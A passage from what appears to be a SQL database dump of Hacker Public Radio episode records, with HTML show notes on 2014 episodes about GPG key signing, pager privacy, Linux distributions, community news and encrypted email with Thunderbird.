href=\"https://hackerpublicradio.org/correspondents.php?hostid=157\">HPR_AudioBookClub</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1589</strong></td>\r\n	<td align=\"left\">2014-09-04</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1589\">KC MakerFair 2014</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=155\">MrGadgets</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1590</strong></td>\r\n	<td align=\"left\">2014-09-05</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1590\">The xfs File System</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\">JWP</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1591</strong></td>\r\n	<td align=\"left\">2014-09-08</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1591\">The Ultimate Cooking Device</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=134\">PipeManMusic</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1592</strong></td>\r\n	<td align=\"left\">2014-09-09</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1592\">An Open Source News Break from Opensource.com</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=280\">semioticrobotic</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1593</strong></td>\r\n	<td align=\"left\">2014-09-10</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1593\">Why C++?</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=197\">garjola</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1594</strong></td>\r\n	<td align=\"left\">2014-09-11</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1594\">Steam and wine with linux</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\">Andrew Conway</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1595</strong></td>\r\n	<td align=\"left\">2014-09-12</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1595\">37 - LibreOffice Calc - More Financial Functions</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">Ahuka</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1596</strong></td>\r\n	<td align=\"left\">2014-09-15</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1596\">About the Word \"Hack\"</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\">klaatu</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1597</strong></td>\r\n	<td align=\"left\">2014-09-16</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1597\">Extravehicular Activity</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=284\">Steve Smethurst</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1598</strong></td>\r\n	<td align=\"left\">2014-09-17</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1598\">Hashing and Password Security</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">Ahuka</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1599</strong></td>\r\n	<td align=\"left\">2014-09-18</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1599\">Interview with Ingmar Steiner from the MaryTTS project</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\">Ken Fallon</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1600</strong></td>\r\n	<td align=\"left\">2014-09-19</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1600\">The zfs File System</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\">JWP</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1601</strong></td>\r\n	<td align=\"left\">2014-09-22</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1601\">Howto Install LAMP</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\">klaatu</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1602</strong></td>\r\n	<td align=\"left\">2014-09-23</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1602\">An Open Source News Break from Opensource.com</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=280\">semioticrobotic</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1603</strong></td>\r\n	<td align=\"left\">2014-09-24</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1603\">GUADEC 2014: Matthew Garrett Interview</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=285\">2BFrank</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1604</strong></td>\r\n	<td align=\"left\">2014-09-25</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1604\">How I Got Into Linux</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=286\">goPhir</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1605</strong></td>\r\n	<td align=\"left\">2014-09-26</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1605\">38 - LibreOffice Calc - simple Descriptive Statistics</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">Ahuka</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1606</strong></td>\r\n	<td align=\"left\">2014-09-29</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1606\">Howto VNC</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\">klaatu</a></td>\r\n	</tr>\r\n	<tr valign=\"top\">\r\n	<td align=\"left\"><strong>1607</strong></td>\r\n	<td align=\"left\">2014-09-30</td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1607\">Migrating from Drupal 6 to Nikola</a></td>\r\n	<td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=233\">johanv</a></td>\r\n	</tr>\r\n    </tbody>\r\n</table>\r\n\r\n<h2>Comments this month</h2>\r\n\r\n<p>There are 27 comments:</p>\r\n<ul> \r\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1604\">hpr1604</a></strong>\r\n(2014-09-25) \"<em>How I Got Into Linux</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=286\">goPhir</a>.\r\n<ol>\r\n<li>Christopher M Hobbs on 2014-09-30:\"What a great episode!\"</li> \r\n</ol><br/></li> \r\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1601\">hpr1601</a></strong>\r\n(2014-09-22) \"<em>Howto Install LAMP</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\">klaatu</a>.\r\n<ol>\r\n<li>tcuc on 2014-09-22:\"Great episode! \"</li>\r\n<li>Klaatu on 2014-09-29:\"The host responds\"</li> \r\n</ol><br/></li> \r\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1599\">hpr1599</a></strong>\r\n(2014-09-18) \"<em>Interview with Ingmar Steiner from the MaryTTS project</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\">Ken Fallon</a>.\r\n<ol>\r\n<li>laindir on 2014-09-19:\"This is me laughing\"</li>\r\n<li>Kevin O\'Brien on 2014-09-20:\"Great show\"</li>\r\n<li>johanv on 2014-09-22:\"Dutch voice\"</li>\r\n<li>davidWHITMAN on 2014-09-23:\"Mary TTS\"</li> \r\n</ol><br/></li> \r\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1598\">hpr1598</a></strong>\r\n(2014-09-17) \"<em>Hashing and Password Security</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">Ahuka</a>.\r\n<ol>\r\n<li>gigasphere on 2014-09-18:\"Great episode\"</li>\r\n<li>Kevin O\'Brien on 2014-09-20:\"Thank you for the comment\"</li> \r\n</ol><br/></li> \r\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1596\">hpr1596</a></strong>\r\n(2014-09-15) \"<em>About the Word \"Hack\"</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\">klaatu</a>.\r\n<ol>\r\n<li>Ken Fallon on 2014-09-15:\"Let everyone be a hacker\"</li>\r\n<li>Michael on 2014-09-17:\"You nailed it!\"</li> \r\n</ol><br/></li> \r\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1594\">hpr1594</a></strong>\r\n(2014-09-11) \"<em>Steam and wine with linux</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\">Andrew Conway</a>.\r\n<ol>\r\n<li>johanv on 2014-09-16:\"Linux for the kids\"</li>\r\n<li>FreeLikeGNU on 2014-09-16:\"Open Spades\"</li>\r\n<li>Andrew Conway on 2014-09-20:\"[no title]\"</li> \r\n</ol><br/></li> \r\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1593\">hpr1593</a></strong>\r\n(2014-09-10) \"<em>Why C++?</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=197\">garjola</a>.\r\n<ol>\r\n<li>johanv on 2014-09-12:\"Very cool\"</li> \r\n</ol><br/></li> \r\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1591\">hpr1591</a></strong>\r\n(2014-09-08) \"<em>The Ultimate Cooking Device</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=134\">PipeManMusic</a>.\r\n<ol>\r\n<li>mordancy on 2014-09-30:\"lighting your charcoal chimney\"</li> \r\n</ol><br/></li> \r\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1590\">hpr1590</a></strong>\r\n(2014-09-05) \"<em>The xfs File System</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\">JWP</a>.\r\n<ol>\r\n<li>Jonathan on 2014-09-06:\"Great Show\"</li> \r\n</ol><br/></li> \r\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1588\">hpr1588</a></strong>\r\n(2014-09-03) \"<em>HPR AudioBookClub-09-Down And Out In The Magic Kingdom</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=157\">HPR_AudioBookClub</a>.\r\n<ol>\r\n<li>Stephen on 2014-09-03:\"re the reader\"</li>\r\n<li>Fifty OneFifty on 2014-09-09:\"Cast member areas of the Haunted Mansion Facade\"</li> \r\n</ol><br/></li> \r\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1587\">hpr1587</a></strong>\r\n(2014-09-02) \"<em>Beginner\'s guide to the night sky 3 - A wee dot on a dark sky</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\">Andrew Conway</a>.\r\n<ol>\r\n<li>chalkahlom on 2014-09-05:\"[no title]\"</li> \r\n</ol><br/></li> \r\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1569\">hpr1569</a></strong>\r\n(2014-08-07) \"<em>Many-to-many data relationship howto</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=282\">Mike Ray</a>.\r\n<ol>\r\n<li>Ken Fallon on 2014-09-03:\"How do you deal with tags\"</li>\r\n<li>Dave Morriss on 2014-09-03:\"Dealing with tags\"</li>\r\n<li>borgu on 2014-09-04:\"[no title]\"</li>\r\n<li>Mike Ray on 2014-09-04:\"Tags\"</li>\r\n<li>Mike Ray on 2014-09-04:\"More about tags\"</li> \r\n</ol><br/></li> \r\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1458\">hpr1458</a></strong>\r\n(2014-03-05) \"<em>Free Culture and Open Animation</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=192\">Seetee</a>.\r\n<ol>\r\n<li>Klaatu on 2014-09-09:\"Synfig\"</li> \r\n</ol><br/></li> \r\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1400\">hpr1400</a></strong>\r\n(2013-12-13) \"<em>How We Use Linux</em>\"\r\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\">Honkeymagoo</a>.\r\n<ol>\r\n<li>Krayon on 2014-09-18:\"CalDAV etc\"</li></ol>\r\n</li>\r\n</ul>\r\n\r\n<h3>HPR At OggCamp</h3>\r\n<p>\r\n<img src=\"https://hackerpublicradio.org/eps/hpr1611.jpg\" alt=\"HPR team at OggCamp\" />\r\n</p>\r\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(1461,'2014-03-10','FOSDEM Keysigning Event',1457,'I wanted to get my GPG key signed so I joined the FOSDEM 2014 keysigning event','<p>\r\nI attended FOSDEM 2014 in Brussels, Belgium. During the conference there was a key signing event which I attended. These are my impressions of the process and the follow-up.\r\n</p>\r\n<h3>Detailed notes:</h3>\r\n<p>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr1461/FOSDEM_Keysigning_Event.html\">https://hackerpublicradio.org/eps/hpr1461/FOSDEM_Keysigning_Event.html</a>\r\n</p>\r\n\r\n<H2>Links</H2>\r\n\r\n<UL>\r\n<LI>Wikipedia entry for key signing party: <A HREF=\"http://en.wikipedia.org/wiki/Key_signing_party\">http://en.wikipedia.org/wiki/Key_signing_party</A>\r\n<LI>The Zimmermann-Sassaman key-signing protocol used at FOSDEM:\r\n  <A HREF=\"http://en.wikipedia.org/wiki/Zimmermann%E2%80%93Sassaman_key-signing_protocol\">http://en.wikipedia.org/wiki/Zimmermann%E2%80%93Sassaman_key-signing_protocol</A>\r\n<LI>Wikipedia article on the Web of Trust: <A HREF=\"http://en.wikipedia.org/wiki/Web_of_trust\">http://en.wikipedia.org/wiki/Web_of_trust</A>\r\n<LI>Linux.com article on the Web of Trust:\r\n  <A HREF=\"https://www.linux.com/learn/tutorials/760909-pgp-web-of-trust-core-concepts/\">https://www.linux.com/learn/tutorials/760909-pgp-web-of-trust-core-concepts/</A>\r\n<LI>Hints on the configuration of <CODE>caff</CODE>:\r\n  <UL>\r\n  <LI><A HREF=\"http://bloc.eurion.net/archives/2010/gpg-key-signing-with-caff/\">http://bloc.eurion.net/archives/2010/gpg-key-signing-with-caff/</A>\r\n  <LI><A HREF=\"http://mruiz.openminds.cl/blog/index.php/2009/12/03/signing-keys-with-caff/\">http://mruiz.openminds.cl/blog/index.php/2009/12/03/signing-keys-with-caff/</A>\r\n  <LI><A HREF=\"https://github.com/tmarble/kspsig\">https://github.com/tmarble/kspsig</A>\r\n  </UL>\r\n<LI>My script for collecting keys from the participant list\r\n  <A HREF=\"http://hackerpublicradio.org/eps/hpr1461/collect_keys.txt\">collect_keys</A>\r\n</UL>\r\n\r\n',225,74,1,'CC-BY-SA','Security,Privacy,PGP,key,key signing',0,1314,1),
(1457,'2014-03-04','Xubuntu, Kali on EeePc, Markdown Stuff, Pogoplug 4, and more.',3103,'A review of several topics including Linux bug community participation and Markdown','<p>\r\nThis episode is a review of several topics ranging from linux bug community participation, linux installation experiences, hosting services, and blogging using Markdown.\r\n</p>\r\n<p>\r\nHere is a brief list of the topics covered in this episode:\r\n</p>\r\n\r\n<ul>\r\n<li>Xubuntu: UEFI support, easy to use, and community driven. \r\n</li>\r\n<li>Kali Linux on EeePc 1000H, old hardware revived. \r\n</li>\r\n<li>Blogging in Markdown: Scriptogr.am, ghost.org, Mou App, Redmine, Tumblr. \r\n</li>\r\n<li>Hosting Services and low end VPSs: Arvixe and Prometeus.  \r\n</li>\r\n<li>PogoPlug v4 with Arch linux: simple, cheap and extensible. \r\n</li>\r\n<li>Gmail webclips: sometimes pretty cool. \r\n</li>\r\n<li>Check out some music, thanks to risky.biz. \r\n</li>\r\n</ul>\r\n\r\n<h3>Links:</h3>\r\n\r\n<ul>\r\n<li><a href=\"https://xubuntu.org/news/reporting-is-caring/\">https://xubuntu.org/news/reporting-is-caring/</a>\r\n</li>\r\n<li><a href=\"https://www.kali.org/\">https://www.kali.org/</a> \r\n</li>\r\n<li><a href=\"https://mstramgram.com/kali-encrypted-lvm-install-fails-to-boot/\">https://mstramgram.com/kali-encrypted-lvm-install-fails-to-boot/</a>\r\n</li>\r\n<li><a href=\"https://forums.kali.org/showthread.php?221-Touchpad-Synaptics-Tapping-issue-Solved\">https://forums.kali.org/showthread.php?221-Touchpad-Synaptics-Tapping-issue-Solved</a>\r\n</li>\r\n<li><a href=\"https://forum.porteus.org/viewtopic.php?f=41&amp;t=505&amp;start=10\">https://forum.porteus.org/viewtopic.php?f=41&amp;t=505&amp;start=10</a>\r\n</li>\r\n<li><a href=\"https://scriptogr.am/\">https://scriptogr.am/</a>\r\n</li>\r\n<li><a href=\"https://ghost.org/\">https://ghost.org/</a>\r\n</li>\r\n<li><a href=\"https://www.tumblr.com/\">https://www.tumblr.com/</a>\r\n</li>\r\n<li><a href=\"https://mouapp.com/\">https://mouapp.com/</a>\r\n</li>\r\n<li><a href=\"https://www.arvixe.com/\">https://www.arvixe.com/</a>\r\n</li>\r\n<li><a href=\"https://www.prometeus.net/sito/\">https://www.prometeus.net/sito/</a>\r\n</li>\r\n<li><a href=\"https://fortysomethinggeek.blogspot.com/2013/03/pogoplug-series-4-archlinux-review.html\">https://fortysomethinggeek.blogspot.com/2013/03/pogoplug-series-4-archlinux-review.html</a>\r\n</li>\r\n<li><a href=\"https://archlinuxarm.org/platforms/armv5/pogoplug-series-4\">https://archlinuxarm.org/platforms/armv5/pogoplug-series-4</a>\r\n</li>\r\n<li><a href=\"https://obihoernchen.net/wordpress/770/plug_computer_arch_linux/\">https://obihoernchen.net/wordpress/770/plug_computer_arch_linux/</a>\r\n</li>\r\n<li><a href=\"https://support.google.com/mail/answer/18219?hl=en\">https://support.google.com/mail/answer/18219?hl=en</a>\r\n</li>\r\n<li><a href=\"https://www.triplejunearthed.com/pilots\">https://www.triplejunearthed.com/pilots</a>\r\n<p></p>\r\n</li>\r\n</ul>',231,0,1,'CC-BY-SA','Xubuntu,Kali Linux,Markdown,PogoPlug,Hosting Services',0,1499,1),
(1459,'2014-03-06','Locational Privacy with retrotech-the lowly pager',1138,'deepgeek advocates the use of a pager for privacy reasons','<p>\r\nIn this episode, deepgeek suggests that adding and old, and perhaps laughable\r\nby modern standards, device to your mobile lifestyle.  Deepgeek reveals that\r\nsaid device is the pager, but he eventually gives good reasons for doing so.\r\n</p>\r\n<p>\r\nThe primary reason is that the paging company does not know where you are, \r\nso they can\'t tell \"the man\" where you are.  Other reasons are redundancy \r\nand trouble interpreting audio.  But in the end, you find out why first \r\nresponders and medical and fire personal still use these devices, and how you, \r\nas a privacy lover, may reap benefits from using this technology also.\r\n</p>\r\n<p>\r\nSome links mentioned in case you want to follow them...\r\n</p>\r\n<p>\r\nDuck Duck Go search on locational privacy\r\n<a href=\"https://duckduckgo.com/?q=locational+privacy\">https://duckduckgo.com?q=locational+privacy</a>\r\n</p>\r\n<p>\r\n\"privacy is dead\" audio\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.hopenumbersix.net/mp3/16/privacy_is_dead.mp3\">https://www.hopenumbersix.net/mp3/16/privacy_is_dead.mp3</a></li>\r\n<li><a href=\"https://www.hopenumbersix.net/mp3/16/privacy1.mp3\">https://www.hopenumbersix.net/mp3/16/privacy1.mp3</a></li>\r\n<li><a href=\"https://www.hopenumbersix.net/mp3/16/privacy2.mp3\">https://www.hopenumbersix.net/mp3/16/privacy2.mp3</a></li>\r\n<li><a href=\"https://www.hopenumbersix.net/mp3/16/privacy3.mp3\">https://www.hopenumbersix.net/mp3/16/privacy3.mp3</a></li>\r\n</ul>\r\n\r\n<p>\r\nUSA\'s two remaining paging companies\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.americanmessaging.net/\">https://www.americanmessaging.net/</a></li>\r\n<li><a href=\"https://www.usamobility.com/\">https://www.usamobility.com/</a>\r\n</ul>\r\n\r\n<p>don\'t forget to check out resellers for deals, like \"free pager with one year prepaid</p>\r\n\r\n<p>\r\nA good sms via email webpage\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.tech-recipes.com/rx/939/sms_email_cingular_nextel_sprint_tmobile_verizon_virgin/\">https://www.tech-recipes.com/rx/939/sms_email_cingular_nextel_sprint_tmobile_verizon_virgin/</a></li>\r\n</ul>',73,74,1,'CC-BY-SA','pager,privacy',0,1581,1),
(1483,'2014-04-09','HPR Community News for March 2014',3886,'HPR Community News for March 2014','<img src=\"https://hackerpublicradio.org/eps/hpr1483_image.png\" alt=\"\" />\r\n<p>In today\'s community news we discuss the happenings in the HPR community. On the mumble were Dave Morriss and Ken Fallon, while we were joined by Pokey and NYBill from the North East Linux Fest. During the show we also heard from Bruce Patterson formally of the Distro weekly podcast. x1101 a HPR listener and soon to be new contributor and finally Paul from <span style=\"text-decoration:line-through\">paul dot com</span> Paul\'s Security Weekly.\r\n</p>\r\n\r\n<h2>New hosts</h2>\r\n<p>\r\nThere were no new hosts this month.\r\n</p>\r\n\r\n<h2>Running out of shows</h2>\r\n<p>We got very few shows lately and were it not for the backup shows been moved into the main queue we would be in trouble.</p>\r\n\r\n<img src=\"https://hackerpublicradio.org/eps/hpr1483_hprstats.png\" alt=\"Queue status showing a big dip in shows\" />\r\n\r\n<h2>Last Months Shows</h2>\r\n\r\n<table>\r\n<thead><tr>\r\n<th>id\r\n</th><th>title\r\n</th><th>host\r\n</th></tr>\r\n</thead>\r\n\r\n<tbody>\r\n<tr><td>1456</td>\r\n<td>HPR Community News for January 2014</td>\r\n<td>HPR Admins</td>\r\n</tr>\r\n \r\n<tr><td>1457</td>\r\n<td>Xubuntu, Kali on EeePc, Markdown Stuff, Pogoplug 4, and more.</td>\r\n<td>Beto</td>\r\n</tr>\r\n \r\n<tr><td>1458</td>\r\n<td>Free Culture and Open Animation</td>\r\n<td>Seetee</td>\r\n</tr>\r\n \r\n<tr><td>1459</td>\r\n<td>Locational Privacy with retrotech-the lowly pager</td>\r\n<td>deepgeek</td>\r\n</tr>\r\n \r\n<tr><td>1460</td>\r\n<td>The road warrios command line combat life.</td>\r\n<td>Knightwise</td>\r\n</tr>\r\n \r\n<tr><td>1461</td>\r\n<td>FOSDEM Keysigning Event</td>\r\n<td>Dave Morriss</td>\r\n</tr>\r\n \r\n<tr><td>1462</td>\r\n<td>Encryption and Email with Thunderbird</td>\r\n<td>Ahuka</td>\r\n</tr>\r\n \r\n<tr><td>1463</td>\r\n<td>Code Is a Life Sucking Abyss, Also My Story </td>\r\n<td>sigflup</td>\r\n</tr>\r\n \r\n<tr><td>1464</td>\r\n<td>HPR Audiobook Club: Space Casey</td>\r\n<td>HPR_AudioBookClub</td>\r\n</tr>\r\n \r\n<tr><td>1465</td>\r\n<td>24 - LibreOffice Writer A Brochure Project</td>\r\n<td>Ahuka</td>\r\n</tr>\r\n \r\n<tr><td>1466</td>\r\n<td>Thoughts on GPS</td>\r\n<td>pokey</td>\r\n</tr>\r\n \r\n<tr><td>1467</td>\r\n<td>How to win Find-The-Difference games</td>\r\n<td>pokey</td>\r\n</tr>\r\n \r\n<tr><td>1468</td>\r\n<td>A Whole Lot of Nothing: Chromebook EOL, CentOS WTF, Non Mainstream GNU/Linux Distros and more...</td>\r\n<td>Beto</td>\r\n</tr>\r\n \r\n<tr><td>1469</td>\r\n<td>HPR Community News for February 2014</td>\r\n<td>HPR Admins</td>\r\n</tr>\r\n \r\n<tr><td>1470</td>\r\n<td>Learn to read time with ccClock</td>\r\n<td>Ken Fallon</td>\r\n</tr>\r\n \r\n<tr><td>1471</td>\r\n<td>Encrypt Your Stuff With Blowfish </td>\r\n<td>sigflup</td>\r\n</tr>\r\n \r\n<tr><td>1472</td>\r\n<td>How I Found Linux</td>\r\n<td>Curtis Adkins (CPrompt^)</td>\r\n</tr>\r\n \r\n<tr><td>1473</td>\r\n<td>FOSDEM Discussion</td>\r\n<td>Dave Morriss</td>\r\n</tr>\r\n \r\n<tr><td>1474</td>\r\n<td>A behind the Curtian Look at OsmAnd (OSM Automated Navigation Directions) with Pokey and David</td>\r\n<td>David Whitman</td>\r\n</tr>\r\n \r\n<tr><td>1475</td>\r\n<td>25 - LibreOffice Calc What Is A Spreadsheet</td>\r\n<td>Ahuka</td>\r\n</tr>\r\n \r\n<tr><td>1476</td>\r\n<td>Sega Genesis Music Driver</td>\r\n<td>sigflup</td>\r\n</tr>\r\n \r\n</tbody>\r\n</table>\r\n\r\n<h2>Mailing List discussions</h2>\r\n<p>\r\nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\">Mail List</a> which is open to all HPR listeners and contributors. The discussions are open and available on the <a href=\"https://news.gmane.org/gmane.network.syndication.podcast.hacker-public-radio\">Gmane</a> archive.\r\n</p>\r\n<p>\r\nDiscussed this month was:\r\n</p>\r\n\r\n<h3>Backup Shows</h3>\r\n<p>\r\nIn a discussion started by <a href=\"https://article.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/93\">Dave Morris</a>. Some felt that the content was getting stale, and keeping shows for 2 years or even 3 months was too long. Others felt that these shows were contributed with the purpose of been used in an emergency and therefore should be timeless.<br />\r\nEventually it was left to each of the contributors that had shows in the backup queue to release them, or to set them as emergency shows. The website has been updated to reflect this change.<br />\r\n<a href=\"https://article.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/131\">Summary</a>\r\n</p>\r\n\r\n<h3>HPR_AudioBookClub</h3>\r\n<p>\r\nThe next audiobook is Shaman Tales Book 1: South Coast by Nathan Lowell. It\'s available on <a href=\"https://podiobooks.com/title/shaman-tales-1-south-coast/\">https://podiobooks.com/title/shaman-tales-1-south-coast/</a>. \r\n</p>\r\n<pre>\r\nwget https://podiobooks.com/rss/feeds/episodes/shaman-tales-1-south-coast/ -O - | xmlstarlet sel -T -t -m \'/rss/channel/item/enclosure\' -v \"@url\" -n - | grep \'PB-\'| while read chapter;do wget $chapter;done\r\n</pre>\r\n\r\n<h3>New Podcasts</h3>\r\n<ul>\r\n<li><a href=\"https://linuxluddites.com/\">https://linuxluddites.com/</a></li>\r\n<li><a href=\"https://linuxlugcast.com/\">https://linuxlugcast.com/</a></li>\r\n</ul>\r\n\r\n<h3>Round table</h3>\r\n<p>\r\nThe mumble server is still available for Recording round table discussions <strong>mumble.openspeak.cc Port: 64747</strong>\r\n</p>\r\n\r\n<h3>Reserved slots</h3>\r\n<p>\r\nJuly 8  is reserved by davidWHITMAN\r\n</p>\r\n\r\n<h3>Usefulness of the Community News Show/Reserved Slot</h3>\r\n<p>\r\nLast month we asked if the community news should continue - and yes it should. We are open to suggestions on how to improve it.<br />\r\nIt was also agreed to allow this show to be reserved.\r\n</p>\r\n',159,47,1,'CC-BY-SA','Community News',0,1323,1),
(1462,'2014-03-11','Encryption and Email with Thunderbird',1421,'Ahuka discusses using Thunderbird and Enigmail to send and receive encrypted email','<p>\r\nNow it is time to take a look at practical uses of encryption, and the number one use is for e-mail. Encrypted communication via e-mail is very desirable if you want to keep a secret. In the U.S. the current legal precedents say that any e-mail left on a server is not protected since you would have no expectation of privacy. This precedent was set many years ago when POP3 was the standard for all e-mail and people did not usually leave e-mail on a server. These days, many people use web-based e-mail or use a newer standard called IMAP which by default stores everything on the server. Perhaps you are one of these people, and thought that you had a right to expect privacy, but in the U.S. you dont, and I would expect that in many other countries the situation is no better.\r\n</p>\r\n<p>\r\nThere have been attempts to provide encrypted e-mail service from a service provider, but the problem here is that the provider usually has to have to the key in order to encrypt the e-mail, and if they have the key they can be compelled to give it up. Recently in the U.S. there was a case involving Ladar Levison who ran such a service called Lavabit. Lavabit encrypted mail in transit using TLS encryption, and he had the keys. When his service was used by Edward Snowden, the government came to get the keys. Now, Levison would have given them the key for Snowdens e-mail if he had been served a warrant, as he always made clear to his customers that he would obey proper legal demands. But in this case the government demanded that he turn over all of the keys for all his customers, and this was too far for Levison. He shut down his service rather than cooperate, and is a bit of a hero for that. But it illustrates that you are at the mercy of the service provider. If the government made this demand to Lavabit, you are safe in presuming they had made the same demand to other providers, and that they all cooperated with the government and said nothing to their customers. So it would be mistake to rely on 3rd party mail service providers to give you privacy. You need to control it yourself. But of course, after the last few lessons you know how to do that, and have your secure keys created. You just need to put them to use.\r\n</p>\r\n<p>\r\nFor the remainder of the show notes please see <a 